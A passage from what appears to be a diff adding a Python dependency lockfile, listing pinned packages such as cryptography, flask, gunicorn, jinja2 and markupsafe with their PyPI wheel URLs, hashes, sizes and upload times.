"https://files.pythonhosted.org/packages/49/a1/551fa162d33074b660dc35c9bc3616fefa21a0e8c1edd27b92559902e408/cryptography-46.0.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:dce1e4f068f03008da7fa51cc7abc6ddc5e5de3e3d1550334eaf8393982a5829", size = 4409080, upload-time = "2026-01-28T00:23:35.793Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6a/4d8d129a755f5d6df1bbee69ea2f35ebfa954fa1847690d1db2e8bca46a5/cryptography-46.0.4-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:2067461c80271f422ee7bdbe79b9b4be54a5162e90345f86a23445a0cf3fd8a2", size = 4270039, upload-time = "2026-01-28T00:23:37.263Z" }, + { url = "https://files.pythonhosted.org/packages/4c/f5/ed3fcddd0a5e39321e595e144615399e47e7c153a1fb8c4862aec3151ff9/cryptography-46.0.4-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:c92010b58a51196a5f41c3795190203ac52edfd5dc3ff99149b4659eba9d2085", size = 4926748, upload-time = "2026-01-28T00:23:38.884Z" }, + { url = "https://files.pythonhosted.org/packages/43/ae/9f03d5f0c0c00e85ecb34f06d3b79599f20630e4db91b8a6e56e8f83d410/cryptography-46.0.4-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:829c2b12bbc5428ab02d6b7f7e9bbfd53e33efd6672d21341f2177470171ad8b", size = 4442307, upload-time = "2026-01-28T00:23:40.56Z" }, + { url = "https://files.pythonhosted.org/packages/8b/22/e0f9f2dae8040695103369cf2283ef9ac8abe4d51f68710bec2afd232609/cryptography-46.0.4-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:62217ba44bf81b30abaeda1488686a04a702a261e26f87db51ff61d9d3510abd", size = 3959253, upload-time = "2026-01-28T00:23:42.827Z" }, + { url = "https://files.pythonhosted.org/packages/01/5b/6a43fcccc51dae4d101ac7d378a8724d1ba3de628a24e11bf2f4f43cba4d/cryptography-46.0.4-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:9c2da296c8d3415b93e6053f5a728649a87a48ce084a9aaf51d6e46c87c7f2d2", size = 4269372, upload-time = "2026-01-28T00:23:44.655Z" }, + { url = "https://files.pythonhosted.org/packages/17/b7/0f6b8c1dd0779df2b526e78978ff00462355e31c0a6f6cff8a3e99889c90/cryptography-46.0.4-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:9b34d8ba84454641a6bf4d6762d15847ecbd85c1316c0a7984e6e4e9f748ec2e", size = 4891908, upload-time = "2026-01-28T00:23:46.48Z" }, + { url = "https://files.pythonhosted.org/packages/83/17/259409b8349aa10535358807a472c6a695cf84f106022268d31cea2b6c97/cryptography-46.0.4-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:df4a817fa7138dd0c96c8c8c20f04b8aaa1fac3bbf610913dcad8ea82e1bfd3f", size = 4441254, upload-time = "2026-01-28T00:23:48.403Z" }, + { url = "https://files.pythonhosted.org/packages/9c/fe/e4a1b0c989b00cee5ffa0764401767e2d1cf59f45530963b894129fd5dce/cryptography-46.0.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b1de0ebf7587f28f9190b9cb526e901bf448c9e6a99655d2b07fff60e8212a82", size = 4396520, upload-time = "2026-01-28T00:23:50.26Z" }, + { url = "https://files.pythonhosted.org/packages/b3/81/ba8fd9657d27076eb40d6a2f941b23429a3c3d2f56f5a921d6b936a27bc9/cryptography-46.0.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9b4d17bc7bd7cdd98e3af40b441feaea4c68225e2eb2341026c84511ad246c0c", size = 4651479, upload-time = "2026-01-28T00:23:51.674Z" }, + { url = "https://files.pythonhosted.org/packages/00/03/0de4ed43c71c31e4fe954edd50b9d28d658fef56555eba7641696370a8e2/cryptography-46.0.4-cp314-cp314t-win32.whl", hash = "sha256:c411f16275b0dea722d76544a61d6421e2cc829ad76eec79280dbdc9ddf50061", size = 3001986, upload-time = "2026-01-28T00:23:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/5c/70/81830b59df7682917d7a10f833c4dab2a5574cd664e86d18139f2b421329/cryptography-46.0.4-cp314-cp314t-win_amd64.whl", hash = "sha256:728fedc529efc1439eb6107b677f7f7558adab4553ef8669f0d02d42d7b959a7", size = 3468288, upload-time = "2026-01-28T00:23:55.09Z" }, + { url = "https://files.pythonhosted.org/packages/56/f7/f648fdbb61d0d45902d3f374217451385edc7e7768d1b03ff1d0e5ffc17b/cryptography-46.0.4-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:a9556ba711f7c23f77b151d5798f3ac44a13455cc68db7697a1096e6d0563cab", size = 7169583, upload-time = "2026-01-28T00:23:56.558Z" }, + { url = "https://files.pythonhosted.org/packages/d8/cc/8f3224cbb2a928de7298d6ed4790f5ebc48114e02bdc9559196bfb12435d/cryptography-46.0.4-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8bf75b0259e87fa70bddc0b8b4078b76e7fd512fd9afae6c1193bcf440a4dbef", size = 4275419, upload-time = "2026-01-28T00:23:58.364Z" }, + { url = "https://files.pythonhosted.org/packages/17/43/4a18faa7a872d00e4264855134ba82d23546c850a70ff209e04ee200e76f/cryptography-46.0.4-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3c268a3490df22270955966ba236d6bc4a8f9b6e4ffddb78aac535f1a5ea471d", size = 4419058, upload-time = "2026-01-28T00:23:59.867Z" }, + { url = "https://files.pythonhosted.org/packages/ee/64/6651969409821d791ba12346a124f55e1b76f66a819254ae840a965d4b9c/cryptography-46.0.4-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:812815182f6a0c1d49a37893a303b44eaac827d7f0d582cecfc81b6427f22973", size = 4278151, upload-time = "2026-01-28T00:24:01.731Z" }, + { url = "https://files.pythonhosted.org/packages/20/0b/a7fce65ee08c3c02f7a8310cc090a732344066b990ac63a9dfd0a655d321/cryptography-46.0.4-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:a90e43e3ef65e6dcf969dfe3bb40cbf5aef0d523dff95bfa24256be172a845f4", size = 4939441, upload-time = "2026-01-28T00:24:03.175Z" }, + { url = "https://files.pythonhosted.org/packages/db/a7/20c5701e2cd3e1dfd7a19d2290c522a5f435dd30957d431dcb531d0f1413/cryptography-46.0.4-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a05177ff6296644ef2876fce50518dffb5bcdf903c85250974fc8bc85d54c0af", size = 4451617, upload-time = "2026-01-28T00:24:05.403Z" }, + { url = "https://files.pythonhosted.org/packages/00/dc/3e16030ea9aa47b63af6524c354933b4fb0e352257c792c4deeb0edae367/cryptography-46.0.4-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:daa392191f626d50f1b136c9b4cf08af69ca8279d110ea24f5c2700054d2e263", size = 3977774, upload-time = "2026-01-28T00:24:06.851Z" }, + { url = "https://files.pythonhosted.org/packages/42/c8/ad93f14118252717b465880368721c963975ac4b941b7ef88f3c56bf2897/cryptography-46.0.4-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e07ea39c5b048e085f15923511d8121e4a9dc45cee4e3b970ca4f0d338f23095", size = 4277008, upload-time = "2026-01-28T00:24:08.926Z" }, + { url = "https://files.pythonhosted.org/packages/00/cf/89c99698151c00a4631fbfcfcf459d308213ac29e321b0ff44ceeeac82f1/cryptography-46.0.4-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d5a45ddc256f492ce42a4e35879c5e5528c09cd9ad12420828c972951d8e016b", size = 4903339, upload-time = "2026-01-28T00:24:12.009Z" }, + { url = "https://files.pythonhosted.org/packages/03/c3/c90a2cb358de4ac9309b26acf49b2a100957e1ff5cc1e98e6c4996576710/cryptography-46.0.4-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:6bb5157bf6a350e5b28aee23beb2d84ae6f5be390b2f8ee7ea179cda077e1019", size = 4451216, upload-time = "2026-01-28T00:24:13.975Z" }, + { url = "https://files.pythonhosted.org/packages/96/2c/8d7f4171388a10208671e181ca43cdc0e596d8259ebacbbcfbd16de593da/cryptography-46.0.4-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:dd5aba870a2c40f87a3af043e0dee7d9eb02d4aff88a797b48f2b43eff8c3ab4", size = 4404299, upload-time = "2026-01-28T00:24:16.169Z" }, + { url = "https://files.pythonhosted.org/packages/e9/23/cbb2036e450980f65c6e0a173b73a56ff3bccd8998965dea5cc9ddd424a5/cryptography-46.0.4-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:93d8291da8d71024379ab2cb0b5c57915300155ad42e07f76bea6ad838d7e59b", size = 4664837, upload-time = "2026-01-28T00:24:17.629Z" }, + { url = "https://files.pythonhosted.org/packages/0a/21/f7433d18fe6d5845329cbdc597e30caf983229c7a245bcf54afecc555938/cryptography-46.0.4-cp38-abi3-win32.whl", hash = "sha256:0563655cb3c6d05fb2afe693340bc050c30f9f34e15763361cf08e94749401fc", size = 3009779, upload-time = "2026-01-28T00:24:20.198Z" }, + { url = "https://files.pythonhosted.org/packages/3a/6a/bd2e7caa2facffedf172a45c1a02e551e6d7d4828658c9a245516a598d94/cryptography-46.0.4-cp38-abi3-win_amd64.whl", hash = "sha256:fa0900b9ef9c49728887d1576fd8d9e7e3ea872fa9b25ef9b64888adc434e976", size = 3466633, upload-time = "2026-01-28T00:24:21.851Z" }, +] + +[[package]] +name = "dill" +version = "0.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/81/e1/56027a71e31b02ddc53c7d65b01e68edf64dea2932122fe7746a516f75d5/dill-0.4.1.tar.gz", hash = "sha256:423092df4182177d4d8ba8290c8a5b640c66ab35ec7da59ccfa00f6fa3eea5fa", size = 187315, upload-time = "2026-01-19T02:36:56.85Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/77/dc8c558f7593132cf8fefec57c4f60c83b16941c574ac5f619abb3ae7933/dill-0.4.1-py3-none-any.whl", hash = "sha256:1e1ce33e978ae97fcfcff5638477032b801c46c7c65cf717f95fbc2248f79a9d", size = 120019, upload-time = "2026-01-19T02:36:55.663Z" }, +] + +[[package]] +name = "distlib" +version = "0.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/96/8e/709914eb2b5749865801041647dc7f4e6d00b549cfe88b65ca192995f07c/distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d", size = 614605, upload-time = "2025-07-17T16:52:00.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, +] + +[[package]] +name = "dnspython" +version = "2.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" }, +] + +[[package]] +name = "filelock" +version = "3.20.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/65/ce7f1b70157833bf3cb851b556a37d4547ceafc158aa9b34b36782f23696/filelock-3.20.3.tar.gz", hash = "sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1", size = 19485, upload-time = "2026-01-09T17:55:05.421Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/36/7fb70f04bf00bc646cd5bb45aa9eddb15e19437a28b8fb2b4a5249fac770/filelock-3.20.3-py3-none-any.whl", hash = "sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1", size = 16701, upload-time = "2026-01-09T17:55:04.334Z" }, +] + +[[package]] +name = "flask" +version = "3.1.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blinker" }, + { name = "click" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "markupsafe" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dc/6d/cfe3c0fcc5e477df242b98bfe186a4c34357b4847e87ecaef04507332dab/flask-3.1.2.tar.gz", hash = "sha256:bf656c15c80190ed628ad08cdfd3aaa35beb087855e2f494910aa3774cc4fd87", size = 720160, upload-time = "2025-08-19T21:03:21.205Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/f9/7f9263c5695f4bd0023734af91bedb2ff8209e8de6ead162f35d8dc762fd/flask-3.1.2-py3-none-any.whl", hash = "sha256:ca1d8112ec8a6158cc29ea4858963350011b5c846a414cdb7a954aa9e967d03c", size = 103308, upload-time = "2025-08-19T21:03:19.499Z" }, +] + +[[package]] +name = "flask-cors" +version = "6.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "flask" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/70/74/0fc0fa68d62f21daef41017dafab19ef4b36551521260987eb3a5394c7ba/flask_cors-6.0.2.tar.gz", hash = "sha256:6e118f3698249ae33e429760db98ce032a8bf9913638d085ca0f4c5534ad2423", size = 13472, upload-time = "2025-12-12T20:31:42.861Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/af/72ad54402e599152de6d067324c46fe6a4f531c7c65baf7e96c63db55eaf/flask_cors-6.0.2-py3-none-any.whl", hash = "sha256:e57544d415dfd7da89a9564e1e3a9e515042df76e12130641ca6f3f2f03b699a", size = 13257, upload-time = "2025-12-12T20:31:41.3Z" }, +] + +[[package]] +name = "gunicorn" +version = "25.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/e5/e1d2225d2b75fe4988821715d2c526fdf7b39f4a7260aa7e2bb4b25ec65c/gunicorn-25.0.3.tar.gz", hash = "sha256:b53a7fff1a07b825b962af320554de44ae77a26abfa373711ff3f83d57d3506d", size = 9702357, upload-time = "2026-02-07T16:53:52.72Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5e/84/117f39896ded517149be72d16c02252885690e9b0d1b84281944928f61aa/gunicorn-25.0.3-py3-none-any.whl", hash = "sha256:aca364c096c81ca11acd4cede0aaeea91ba76ca74e2c0d7f879154db9d890f35", size = 171728, upload-time = "2026-02-07T16:53:49.546Z" }, +] + +[[package]] +name = "identify" +version = "2.6.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5b/8d/e8b97e6bd3fb6fb271346f7981362f1e04d6a7463abd0de79e1fda17c067/identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980", size = 99360, upload-time = "2026-01-12T18:58:58.201Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b8/58/40fbbcefeda82364720eba5cf2270f98496bdfa19ea75b4cccae79c698e6/identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0", size = 99202, upload-time = "2026-01-12T18:58:56.627Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "isort" +version = "7.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/63/53/4f3c058e3bace40282876f9b553343376ee687f3c35a525dc79dbd450f88/isort-7.0.0.tar.gz", hash = "sha256:5513527951aadb3ac4292a41a16cbc50dd1642432f5e8c20057d414bdafb4187", size = 805049, upload-time = "2025-10-11T13:30:59.107Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/ed/e3705d6d02b4f7aea715a353c8ce193efd0b5db13e204df895d38734c244/isort-7.0.0-py3-none-any.whl", hash = "sha256:1bcabac8bc3c36c7fb7b98a76c8abb18e0f841a3ba81decac7691008592499c1", size = 94672, upload-time = "2025-10-11T13:30:57.665Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "librt" +version = "0.7.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/24/5f3646ff414285e0f7708fa4e946b9bf538345a41d1c375c439467721a5e/librt-0.7.8.tar.gz", hash = "sha256:1a4ede613941d9c3470b0368be851df6bb78ab218635512d0370b27a277a0862", size = 148323, upload-time = "2026-01-14T12:56:16.876Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1a/73/fa8814c6ce2d49c3827829cadaa1589b0bf4391660bd4510899393a23ebc/librt-0.7.8-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:be927c3c94c74b05128089a955fba86501c3b544d1d300282cc1b4bd370cb418", size = 57049, upload-time = "2026-01-14T12:55:35.056Z" }, + { url = "https://files.pythonhosted.org/packages/53/fe/f6c70956da23ea235fd2e3cc16f4f0b4ebdfd72252b02d1164dd58b4e6c3/librt-0.7.8-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:7b0803e9008c62a7ef79058233db7ff6f37a9933b8f2573c05b07ddafa226611", size = 58689, upload-time = "2026-01-14T12:55:36.078Z" }, + { url = "https://files.pythonhosted.org/packages/1f/4d/7a2481444ac5fba63050d9abe823e6bc16896f575bfc9c1e5068d516cdce/librt-0.7.8-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:79feb4d00b2a4e0e05c9c56df707934f41fcb5fe53fd9efb7549068d0495b758", size = 166808, upload-time = "2026-01-14T12:55:37.595Z" }, + { url = "https://files.pythonhosted.org/packages/ac/3c/10901d9e18639f8953f57c8986796cfbf4c1c514844a41c9197cf87cb707/librt-0.7.8-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b9122094e3f24aa759c38f46bd8863433820654927370250f460ae75488b66ea", size = 175614, upload-time = "2026-01-14T12:55:38.756Z" }, + { url = "https://files.pythonhosted.org/packages/db/01/5cbdde0951a5090a80e5ba44e6357d375048123c572a23eecfb9326993a7/librt-0.7.8-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7e03bea66af33c95ce3addf87a9bf1fcad8d33e757bc479957ddbc0e4f7207ac", size = 189955, upload-time = "2026-01-14T12:55:39.939Z" }, + { url = "https://files.pythonhosted.org/packages/6a/b4/e80528d2f4b7eaf1d437fcbd6fc6ba4cbeb3e2a0cb9ed5a79f47c7318706/librt-0.7.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f1ade7f31675db00b514b98f9ab9a7698c7282dad4be7492589109471852d398", size = 189370, upload-time = "2026-01-14T12:55:41.057Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ab/938368f8ce31a9787ecd4becb1e795954782e4312095daf8fd22420227c8/librt-0.7.8-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a14229ac62adcf1b90a15992f1ab9c69ae8b99ffb23cb64a90878a6e8a2f5b81", size = 183224, upload-time = "2026-01-14T12:55:42.328Z" }, + { url = "https://files.pythonhosted.org/packages/3c/10/559c310e7a6e4014ac44867d359ef8238465fb499e7eb31b6bfe3e3f86f5/librt-0.7.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5bcaaf624fd24e6a0cb14beac37677f90793a96864c67c064a91458611446e83", size = 203541, upload-time = "2026-01-14T12:55:43.501Z" }, + { url = "https://files.pythonhosted.org/packages/f8/db/a0db7acdb6290c215f343835c6efda5b491bb05c3ddc675af558f50fdba3/librt-0.7.8-cp314-cp314-win32.whl", hash = "sha256:7aa7d5457b6c542ecaed79cec4ad98534373c9757383973e638ccced0f11f46d", size = 40657, upload-time = "2026-01-14T12:55:44.668Z" }, + { url = "https://files.pythonhosted.org/packages/72/e0/4f9bdc2a98a798511e81edcd6b54fe82767a715e05d1921115ac70717f6f/librt-0.7.8-cp314-cp314-win_amd64.whl", hash = "sha256:3d1322800771bee4a91f3b4bd4e49abc7d35e65166821086e5afd1e6c0d9be44", size = 46835, upload-time = "2026-01-14T12:55:45.655Z" }, + { url = "https://files.pythonhosted.org/packages/f9/3d/59c6402e3dec2719655a41ad027a7371f8e2334aa794ed11533ad5f34969/librt-0.7.8-cp314-cp314-win_arm64.whl", hash = "sha256:5363427bc6a8c3b1719f8f3845ea53553d301382928a86e8fab7984426949bce", size = 39885, upload-time = "2026-01-14T12:55:47.138Z" }, + { url = "https://files.pythonhosted.org/packages/4e/9c/2481d80950b83085fb14ba3c595db56330d21bbc7d88a19f20165f3538db/librt-0.7.8-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:ca916919793a77e4a98d4a1701e345d337ce53be4a16620f063191f7322ac80f", size = 59161, upload-time = "2026-01-14T12:55:48.45Z" }, + { url = "https://files.pythonhosted.org/packages/96/79/108df2cfc4e672336765d54e3ff887294c1cc36ea4335c73588875775527/librt-0.7.8-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:54feb7b4f2f6706bb82325e836a01be805770443e2400f706e824e91f6441dde", size = 61008, upload-time = "2026-01-14T12:55:49.527Z" }, + { url = "https://files.pythonhosted.org/packages/46/f2/30179898f9994a5637459d6e169b6abdc982012c0a4b2d4c26f50c06f911/librt-0.7.8-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:39a4c76fee41007070f872b648cc2f711f9abf9a13d0c7162478043377b52c8e", size = 187199, upload-time = "2026-01-14T12:55:50.587Z" }, + { url = "https://files.pythonhosted.org/packages/b4/da/f7563db55cebdc884f518ba3791ad033becc25ff68eb70902b1747dc0d70/librt-0.7.8-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac9c8a458245c7de80bc1b9765b177055efff5803f08e548dd4bb9ab9a8d789b", size = 198317, upload-time = "2026-01-14T12:55:51.991Z" }, + { url = "https://files.pythonhosted.org/packages/b3/6c/4289acf076ad371471fa86718c30ae353e690d3de6167f7db36f429272f1/librt-0.7.8-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:95b67aa7eff150f075fda09d11f6bfb26edffd300f6ab1666759547581e8f666", size = 210334, upload-time = "2026-01-14T12:55:53.682Z" }, + { url = "https://files.pythonhosted.org/packages/4a/7f/377521ac25b78ac0a5ff44127a0360ee6d5ddd3ce7327949876a30533daa/librt-0.7.8-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:535929b6eff670c593c34ff435d5440c3096f20fa72d63444608a5aef64dd581", size = 211031, upload-time = "2026-01-14T12:55:54.827Z" }, + { url = "https://files.pythonhosted.org/packages/c5/b1/e1e96c3e20b23d00cf90f4aad48f0deb4cdfec2f0ed8380d0d85acf98bbf/librt-0.7.8-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:63937bd0f4d1cb56653dc7ae900d6c52c41f0015e25aaf9902481ee79943b33a", size = 204581, upload-time = "2026-01-14T12:55:56.811Z" }, + { url = "https://files.pythonhosted.org/packages/43/71/0f5d010e92ed9747e14bef35e91b6580533510f1e36a8a09eb79ee70b2f0/librt-0.7.8-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cf243da9e42d914036fd362ac3fa77d80a41cadcd11ad789b1b5eec4daaf67ca", size = 224731, upload-time = "2026-01-14T12:55:58.175Z" }, + { url = "https://files.pythonhosted.org/packages/22/f0/07fb6ab5c39a4ca9af3e37554f9d42f25c464829254d72e4ebbd81da351c/librt-0.7.8-cp314-cp314t-win32.whl", hash = "sha256:171ca3a0a06c643bd0a2f62a8944e1902c94aa8e5da4db1ea9a8daf872685365", size = 41173, upload-time = "2026-01-14T12:55:59.315Z" }, + { url = "https://files.pythonhosted.org/packages/24/d4/7e4be20993dc6a782639625bd2f97f3c66125c7aa80c82426956811cfccf/librt-0.7.8-cp314-cp314t-win_amd64.whl", hash = "sha256:445b7304145e24c60288a2f172b5ce2ca35c0f81605f5299f3fa567e189d2e32", size = 47668, upload-time = "2026-01-14T12:56:00.261Z" }, + { url = "https://files.pythonhosted.org/packages/fc/85/69f92b2a7b3c0f88ffe107c86b952b397004b5b8ea5a81da3d9c04c04422/librt-0.7.8-cp314-cp314t-win_arm64.whl", hash = "sha256:8766ece9de08527deabcd7cb1b4f1a967a385d26e33e536d6d8913db6ef74f06", size = 40550, upload-time = "2026-01-14T12:56:01.542Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = 